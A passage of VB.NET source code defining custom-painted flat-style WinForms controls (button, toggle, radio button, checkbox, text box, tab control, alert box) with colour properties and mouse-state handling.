ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + Size = New Size(240, 180) + Font = New Font("Segoe ui", 10) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim GP, GP2, GP3 As New GraphicsPath + Dim Base As New Rectangle(8, 8, W - 16, H - 16) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Base + GP = Helpers.RoundRec(Base, 8) + .FillPath(New SolidBrush(_BaseColor), GP) + + '-- Arrows + GP2 = Helpers.DrawArrow(28, 2, False) + .FillPath(New SolidBrush(_BaseColor), GP2) + GP3 = Helpers.DrawArrow(28, 8, True) + .FillPath(New SolidBrush(Color.FromArgb(60, 70, 73)), GP3) + + '-- if ShowText + If ShowText Then + .DrawString(Text, Font, New SolidBrush(_FlatColor), New Rectangle(16, 16, W, H), NearSF) + End If + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatButton : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private _Rounded As Boolean = False + Private State As MouseState = MouseState.None + +#End Region + +#Region " Properties" + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + + _ + Public Property Rounded As Boolean + Get + Return _Rounded + End Get + Set(value As Boolean) + _Rounded = value + End Set + End Property + +#End Region + +#Region " Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = _FlatColor + Private _TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + Size = New Size(106, 32) + BackColor = Color.Transparent + Font = New Font("Segoe UI", 12) + Cursor = Cursors.Hand + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim GP As New GraphicsPath + Dim Base As New Rectangle(0, 0, W, H) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + Select Case State + Case MouseState.None + If Rounded Then + '-- Base + GP = Helpers.RoundRec(Base, 6) + .FillPath(New SolidBrush(_BaseColor), GP) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + End If + Case MouseState.Over + If Rounded Then + '-- Base + GP = Helpers.RoundRec(Base, 6) + .FillPath(New SolidBrush(_BaseColor), GP) + .FillPath(New SolidBrush(Color.FromArgb(20, Color.White)), GP) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + .FillRectangle(New SolidBrush(Color.FromArgb(20, Color.White)), Base) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + End If + Case MouseState.Down + If Rounded Then + '-- Base + GP = Helpers.RoundRec(Base, 6) + .FillPath(New SolidBrush(_BaseColor), GP) + .FillPath(New SolidBrush(Color.FromArgb(20, Color.Black)), GP) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + .FillRectangle(New SolidBrush(Color.FromArgb(20, Color.Black)), Base) + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), Base, CenterSF) + End If + End Select + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + + Class FlatToggle : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private O As _Options + Private _Checked As Boolean = False + Private State As MouseState = MouseState.None + +#End Region + +#Region " Properties" + Public Event CheckedChanged(ByVal sender As Object) + + _ + Enum _Options + Style1 + Style2 + Style3 + Style4 '-- TODO: New Style + Style5 '-- TODO: New Style + End Enum + +#Region " Options" + + _ + Public Property Options As _Options + Get + Return O + End Get + Set(value As _Options) + O = value + End Set + End Property + + _ + Public Property Checked As Boolean + Get + Return _Checked + End Get + Set(value As Boolean) + _Checked = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Width = 76 + Height = 33 + End Sub + +#Region " Mouse States" + + Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnClick(e As EventArgs) + MyBase.OnClick(e) + _Checked = Not _Checked + RaiseEvent CheckedChanged(Me) + End Sub + +#End Region + +#End Region + +#Region " Colors" + + Private BaseColor As Color = _FlatColor + Private BaseColorRed As Color = Color.FromArgb(220, 85, 96) + Private BGColor As Color = Color.FromArgb(84, 85, 86) + Private ToggleColor As Color = Color.FromArgb(45, 47, 49) + Private TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.Transparent + Size = New Size(44, Height + 1) + Cursor = Cursors.Hand + Font = New Font("Segoe UI", 10) + Size = New Size(76, 33) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim GP, GP2 As New GraphicsPath + Dim Base As New Rectangle(0, 0, W, H), Toggle As New Rectangle(CInt(W \ 2), 0, 38, H) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + Select Case O + Case _Options.Style1 '-- Style 1 + '-- Base + GP = Helpers.RoundRec(Base, 6) + GP2 = Helpers.RoundRec(Toggle, 6) + .FillPath(New SolidBrush(BGColor), GP) + .FillPath(New SolidBrush(ToggleColor), GP2) + + '-- Text + .DrawString("OFF", Font, New SolidBrush(BGColor), New Rectangle(19, 1, W, H), CenterSF) + + If Checked Then + '-- Base + GP = Helpers.RoundRec(Base, 6) + GP2 = Helpers.RoundRec(New Rectangle(CInt(W \ 2), 0, 38, H), 6) + .FillPath(New SolidBrush(ToggleColor), GP) + .FillPath(New SolidBrush(BaseColor), GP2) + + '-- Text + .DrawString("ON", Font, New SolidBrush(BaseColor), New Rectangle(8, 7, W, H), NearSF) + End If + Case _Options.Style2 '-- Style 2 + '-- Base + GP = Helpers.RoundRec(Base, 6) + Toggle = New Rectangle(4, 4, 36, H - 8) + GP2 = Helpers.RoundRec(Toggle, 4) + .FillPath(New SolidBrush(BaseColorRed), GP) + .FillPath(New SolidBrush(ToggleColor), GP2) + + '-- Lines + .DrawLine(New Pen(BGColor), 18, 20, 18, 12) + .DrawLine(New Pen(BGColor), 22, 20, 22, 12) + .DrawLine(New Pen(BGColor), 26, 20, 26, 12) + + '-- Text + .DrawString("r", New Font("Marlett", 8), New SolidBrush(TextColor), New Rectangle(19, 2, Width, Height), CenterSF) + + If Checked Then + GP = Helpers.RoundRec(Base, 6) + Toggle = New Rectangle(CInt(W \ 2) - 2, 4, 36, H - 8) + GP2 = Helpers.RoundRec(Toggle, 4) + .FillPath(New SolidBrush(BaseColor), GP) + .FillPath(New SolidBrush(ToggleColor), GP2) + + '-- Lines + .DrawLine(New Pen(BGColor), CInt(W \ 2) + 12, 20, CInt(W \ 2) + 12, 12) + .DrawLine(New Pen(BGColor), CInt(W \ 2) + 16, 20, CInt(W \ 2) + 16, 12) + .DrawLine(New Pen(BGColor), CInt(W \ 2) + 20, 20, CInt(W \ 2) + 20, 12) + + '-- Text + .DrawString("ü", New Font("Wingdings", 14), New SolidBrush(TextColor), New Rectangle(8, 7, Width, Height), NearSF) + End If + Case _Options.Style3 '-- Style 3 + '-- Base + GP = Helpers.RoundRec(Base, 16) + Toggle = New Rectangle(W - 28, 4, 22, H - 8) + GP2.AddEllipse(Toggle) + .FillPath(New SolidBrush(ToggleColor), GP) + .FillPath(New SolidBrush(BaseColorRed), GP2) + + '-- Text + .DrawString("OFF", Font, New SolidBrush(BaseColorRed), New Rectangle(-12, 2, W, H), CenterSF) + + If Checked Then + '-- Base + GP = Helpers.RoundRec(Base, 16) + Toggle = New Rectangle(6, 4, 22, H - 8) + GP2.Reset() + GP2.AddEllipse(Toggle) + .FillPath(New SolidBrush(ToggleColor), GP) + .FillPath(New SolidBrush(BaseColor), GP2) + + '-- Text + .DrawString("ON", Font, New SolidBrush(BaseColor), New Rectangle(12, 2, W, H), CenterSF) + End If + Case _Options.Style4 + '-- TODO: New Styles + If Checked Then + '-- + End If + Case _Options.Style5 + '-- TODO: New Styles + If Checked Then + '-- + End If + End Select + + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + + Class RadioButton : Inherits Control + +#Region " Variables" + + Private State As MouseState = MouseState.None + Private W, H As Integer + Private O As _Options + Private _Checked As Boolean + +#End Region + +#Region " Properties" + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(value As Boolean) + _Checked = value + InvalidateControls() + RaiseEvent CheckedChanged(Me) + Invalidate() + End Set + End Property + Event CheckedChanged(ByVal sender As Object) + Protected Overrides Sub OnClick(e As EventArgs) + If Not _Checked Then Checked = True + MyBase.OnClick(e) + End Sub + Private Sub InvalidateControls() + If Not IsHandleCreated OrElse Not _Checked Then Return + For Each C As Control In Parent.Controls + If C IsNot Me AndAlso TypeOf C Is RadioButton Then + DirectCast(C, RadioButton).Checked = False + Invalidate() + End If + Next + End Sub + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + InvalidateControls() + End Sub + + _ + Enum _Options + Style1 + Style2 + End Enum + + _ + Public Property Options As _Options + Get + Return O + End Get + Set(value As _Options) + O = value + End Set + End Property + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub + +#Region " Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _BorderColor As Color = _FlatColor + 'Private _TextColor As Color = Color.FromArgb(243, 243, 243) + Private _TextColor As Color = Color.Black + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + Cursor = Cursors.Hand + Size = New Size(100, 22) + BackColor = Color.FromArgb(60, 70, 73) + Font = New Font("Segoe UI", 10) + End Sub + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim Base As New Rectangle(0, 2, Height - 5, Height - 5), Dot As New Rectangle(4, 6, H - 12, H - 12) + + With G + .SmoothingMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + Select Case O + Case _Options.Style1 + '-- Base + .FillEllipse(New SolidBrush(_BaseColor), Base) + + Select Case State + Case MouseState.Over + .DrawEllipse(New Pen(_BorderColor), Base) + Case MouseState.Down + .DrawEllipse(New Pen(_BorderColor), Base) + End Select + + '-- If Checked + If Checked Then + .FillEllipse(New SolidBrush(_BorderColor), Dot) + End If + Case _Options.Style2 + '-- Base + .FillEllipse(New SolidBrush(_BaseColor), Base) + + Select Case State + Case MouseState.Over + '-- Base + .DrawEllipse(New Pen(_BorderColor), Base) + .FillEllipse(New SolidBrush(Color.FromArgb(118, 213, 170)), Base) + Case MouseState.Down + '-- Base + .DrawEllipse(New Pen(_BorderColor), Base) + .FillEllipse(New SolidBrush(Color.FromArgb(118, 213, 170)), Base) + End Select + + '-- If Checked + If Checked Then + '-- Base + .FillEllipse(New SolidBrush(_BorderColor), Dot) + End If + End Select + + .DrawString(Text, Font, New SolidBrush(_TextColor), New Rectangle(20, 2, W, H), NearSF) + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + + Class FlatCheckBox : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private State As MouseState = MouseState.None + Private O As _Options + Private _Checked As Boolean + +#End Region + +#Region " Properties" + Protected Overrides Sub OnTextChanged(ByVal e As System.EventArgs) + MyBase.OnTextChanged(e) + Invalidate() + End Sub + + Property Checked() As Boolean + Get + Return _Checked + End Get + Set(ByVal value As Boolean) + _Checked = value + Invalidate() + End Set + End Property + + Event CheckedChanged(ByVal sender As Object) + Protected Overrides Sub OnClick(ByVal e As System.EventArgs) + _Checked = Not _Checked + RaiseEvent CheckedChanged(Me) + MyBase.OnClick(e) + End Sub + + _ + Enum _Options + Style1 + Style2 + End Enum + + _ + Public Property Options As _Options + Get + Return O + End Get + Set(value As _Options) + O = value + End Set + End Property + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 22 + End Sub + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property BorderColor As Color + Get + Return _BorderColor + End Get + Set(value As Color) + _BorderColor = value + End Set + End Property + +#End Region + +#Region " Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _BorderColor As Color = _FlatColor + Private _TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.FromArgb(60, 70, 73) + Cursor = Cursors.Hand + Font = New Font("Segoe UI", 10) + Size = New Size(112, 22) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim Base As New Rectangle(0, 2, Height - 5, Height - 5) + + With G + .SmoothingMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + Select Case O + Case _Options.Style1 '-- Style 1 + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + Select Case State + Case MouseState.Over + '-- Base + .DrawRectangle(New Pen(_BorderColor), Base) + Case MouseState.Down + '-- Base + .DrawRectangle(New Pen(_BorderColor), Base) + End Select + + '-- If Checked + If Checked Then + .DrawString("ü", New Font("Wingdings", 18), New SolidBrush(_BorderColor), New Rectangle(5, 7, H - 9, H - 9), CenterSF) + End If + + '-- If Enabled + If Me.Enabled = False Then + .FillRectangle(New SolidBrush(Color.FromArgb(54, 58, 61)), Base) + .DrawString(Text, Font, New SolidBrush(Color.FromArgb(140, 142, 143)), New Rectangle(20, 2, W, H), NearSF) + End If + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), New Rectangle(20, 2, W, H), NearSF) + Case _Options.Style2 '-- Style 2 + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + Select Case State + Case MouseState.Over + '-- Base + .DrawRectangle(New Pen(_BorderColor), Base) + .FillRectangle(New SolidBrush(Color.FromArgb(118, 213, 170)), Base) + Case MouseState.Down + '-- Base + .DrawRectangle(New Pen(_BorderColor), Base) + .FillRectangle(New SolidBrush(Color.FromArgb(118, 213, 170)), Base) + End Select + + '-- If Checked + If Checked Then + .DrawString("ü", New Font("Wingdings", 18), New SolidBrush(_BorderColor), New Rectangle(5, 7, H - 9, H - 9), CenterSF) + End If + + '-- If Enabled + If Me.Enabled = False Then + .FillRectangle(New SolidBrush(Color.FromArgb(54, 58, 61)), Base) + .DrawString(Text, Font, New SolidBrush(Color.FromArgb(48, 119, 91)), New Rectangle(20, 2, W, H), NearSF) + End If + + '-- Text + .DrawString(Text, Font, New SolidBrush(_TextColor), New Rectangle(20, 2, W, H), NearSF) + End Select + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + + Class FlatTextBox : Inherits Control + +#Region " Variables" + + Private W, H As Integer + Private State As MouseState = MouseState.None + Private WithEvents TB As Windows.Forms.TextBox + +#End Region + +#Region " Properties" + +#Region " TextBox Properties" + + Private _TextAlign As HorizontalAlignment = HorizontalAlignment.Left + _ + Property TextAlign() As HorizontalAlignment + Get + Return _TextAlign + End Get + Set(ByVal value As HorizontalAlignment) + _TextAlign = value + If TB IsNot Nothing Then + TB.TextAlign = value + End If + End Set + End Property + Private _MaxLength As Integer = 32767 + _ + Property MaxLength() As Integer + Get + Return _MaxLength + End Get + Set(ByVal value As Integer) + _MaxLength = value + If TB IsNot Nothing Then + TB.MaxLength = value + End If + End Set + End Property + Private _ReadOnly As Boolean + _ + Property [ReadOnly]() As Boolean + Get + Return _ReadOnly + End Get + Set(ByVal value As Boolean) + _ReadOnly = value + If TB IsNot Nothing Then + TB.ReadOnly = value + End If + End Set + End Property + Private _UseSystemPasswordChar As Boolean + _ + Property UseSystemPasswordChar() As Boolean + Get + Return _UseSystemPasswordChar + End Get + Set(ByVal value As Boolean) + _UseSystemPasswordChar = value + If TB IsNot Nothing Then + TB.UseSystemPasswordChar = value + End If + End Set + End Property + Private _Multiline As Boolean + _ + Property Multiline() As Boolean + Get + Return _Multiline + End Get + Set(ByVal value As Boolean) + _Multiline = value + If TB IsNot Nothing Then + TB.Multiline = value + + If value Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + End If + End Set + End Property + _ + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If TB IsNot Nothing Then + TB.Text = value + End If + End Set + End Property + _ + Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + If TB IsNot Nothing Then + TB.Font = value + TB.Location = New Point(3, 5) + TB.Width = Width - 6 + + If Not _Multiline Then + Height = TB.Height + 11 + End If + End If + End Set + End Property + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + If Not Controls.Contains(TB) Then + Controls.Add(TB) + End If + End Sub + Private Sub OnBaseTextChanged(ByVal s As Object, ByVal e As EventArgs) + Text = TB.Text + End Sub + Private Sub OnBaseKeyDown(ByVal s As Object, ByVal e As KeyEventArgs) + If e.Control AndAlso e.KeyCode = Keys.A Then + TB.SelectAll() + e.SuppressKeyPress = True + End If + If e.Control AndAlso e.KeyCode = Keys.C Then + TB.Copy() + e.SuppressKeyPress = True + End If + End Sub + Protected Overrides Sub OnResize(ByVal e As EventArgs) + TB.Location = New Point(5, 5) + TB.Width = Width - 10 + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + MyBase.OnResize(e) + End Sub + +#End Region + +#Region " Colors" + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + + Public Overrides Property ForeColor() As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + +#End Region + +#Region " Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : TB.Focus() : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + +#End Region + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _TextColor As Color = Color.FromArgb(192, 192, 192) + Private _BorderColor As Color = _FlatColor + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + + BackColor = Color.Transparent + + TB = New Windows.Forms.TextBox + TB.Font = New Font("Segoe UI", 10) + TB.Text = Text + TB.BackColor = _BaseColor + TB.ForeColor = _TextColor + TB.MaxLength = _MaxLength + TB.Multiline = _Multiline + TB.ReadOnly = _ReadOnly + TB.UseSystemPasswordChar = _UseSystemPasswordChar + TB.BorderStyle = BorderStyle.None + TB.Location = New Point(5, 5) + TB.Width = Width - 10 + + TB.Cursor = Cursors.IBeam + + If _Multiline Then + TB.Height = Height - 11 + Else + Height = TB.Height + 11 + End If + + AddHandler TB.TextChanged, AddressOf OnBaseTextChanged + AddHandler TB.KeyDown, AddressOf OnBaseKeyDown + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + Dim Base As New Rectangle(0, 0, W, H) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Colors + TB.BackColor = _BaseColor + TB.ForeColor = _TextColor + + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub + +End Class + +Class FlatTabControl : Inherits TabControl + +#Region " Variables" + + Private W, H As Integer + +#End Region + +#Region " Properties" + + Protected Overrides Sub CreateHandle() + MyBase.CreateHandle() + Alignment = TabAlignment.Top + End Sub + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property ActiveColor As Color + Get + Return _ActiveColor + End Get + Set(value As Color) + _ActiveColor = value + End Set + End Property + +#End Region + +#End Region + +#Region " Colors" + + ' Private BGColor As Color = Color.FromArgb(60, 70, 73) + Private BGColor As Color = Color.White + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + 'Private _ActiveColor As Color = _FlatColor + Private _ActiveColor As Color = Color.RoyalBlue + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.FromArgb(60, 70, 73) + Font = New Font("Segoe UI", 10) + SizeMode = TabSizeMode.Fixed + ItemSize = New Size(120, 40) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(_BaseColor) + + Try : SelectedTab.BackColor = BGColor : Catch : End Try + + For i = 0 To TabCount - 1 + Dim Base As New Rectangle(New Point(GetTabRect(i).Location.X + 2, GetTabRect(i).Location.Y), New Size(GetTabRect(i).Width, GetTabRect(i).Height)) + Dim BaseSize As New Rectangle(Base.Location, New Size(Base.Width, Base.Height)) + + If i = SelectedIndex Then + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), BaseSize) + + '-- Gradiant + '.fill + .FillRectangle(New SolidBrush(_ActiveColor), BaseSize) + + '-- ImageList + If ImageList IsNot Nothing Then + Try + If ImageList.Images(TabPages(i).ImageIndex) IsNot Nothing Then + '-- Image + .DrawImage(ImageList.Images(TabPages(i).ImageIndex), New Point(BaseSize.Location.X + 8, BaseSize.Location.Y + 6)) + '-- Text + .DrawString(" " & TabPages(i).Text, Font, Brushes.white, BaseSize, CenterSF) + Else + '-- Text + .DrawString(TabPages(i).Text, Font, Brushes.White, BaseSize, CenterSF) + End If + Catch ex As Exception + Throw New Exception(ex.Message) + End Try + Else + '-- Text + .DrawString(TabPages(i).Text, Font, Brushes.White, BaseSize, CenterSF) + End If + Else + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), BaseSize) + + '-- ImageList + If ImageList IsNot Nothing Then + Try + If ImageList.Images(TabPages(i).ImageIndex) IsNot Nothing Then + '-- Image + .DrawImage(ImageList.Images(TabPages(i).ImageIndex), New Point(BaseSize.Location.X + 8, BaseSize.Location.Y + 6)) + '-- Text + .DrawString(" " & TabPages(i).Text, Font, New SolidBrush(Color.Black), BaseSize, New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Center}) + Else + '-- Text + .DrawString(TabPages(i).Text, Font, New SolidBrush(Color.Black), BaseSize, New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Center}) + End If + Catch ex As Exception + Throw New Exception(ex.Message) + End Try + Else + '-- Text + .DrawString(TabPages(i).Text, Font, New SolidBrush(Color.Black), BaseSize, New StringFormat With {.LineAlignment = StringAlignment.Center, .Alignment = StringAlignment.Center}) + End If + End If + Next + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatAlertBox : Inherits Control + + ''' + ''' How to use: FlatAlertBox.ShowControl(Kind, String, Interval) + ''' + ''' + +#Region " Variables" + + Private W, H As Integer + Private K As _Kind + Private _Text As String + Private State As MouseState = MouseState.None + Private X As Integer + Private WithEvents T As Timer + +#End Region + +#Region " Properties" + + _ + Enum _Kind + [Success] + [Error] + [Info] + End Enum + +#Region " Options" + + _ + Public Property kind As _Kind + Get + Return K + End Get + Set(value As _Kind) + K = value + End Set + End Property + + _ + Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + If _Text IsNot Nothing Then + _Text = value + End If + End Set + End Property + + _ + Shadows Property Visible As Boolean + Get + Return MyBase.Visible = False + End Get + Set(value As Boolean) + MyBase.Visible = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnTextChanged(e As EventArgs) + MyBase.OnTextChanged(e) : Invalidate() + End Sub + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Height = 42 + End Sub + + Public Sub ShowControl(Kind As _Kind, Str As String, Interval As Integer) + K = Kind + Text = Str + Me.Visible = True + T = New Timer + T.Interval = Interval + T.Enabled = True + End Sub + + Private Sub T_Tick(sender As Object, e As EventArgs) Handles T.Tick + Me.Visible = False + T.Enabled = False + T.Dispose() + End Sub + +#Region " Mouse States" + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + 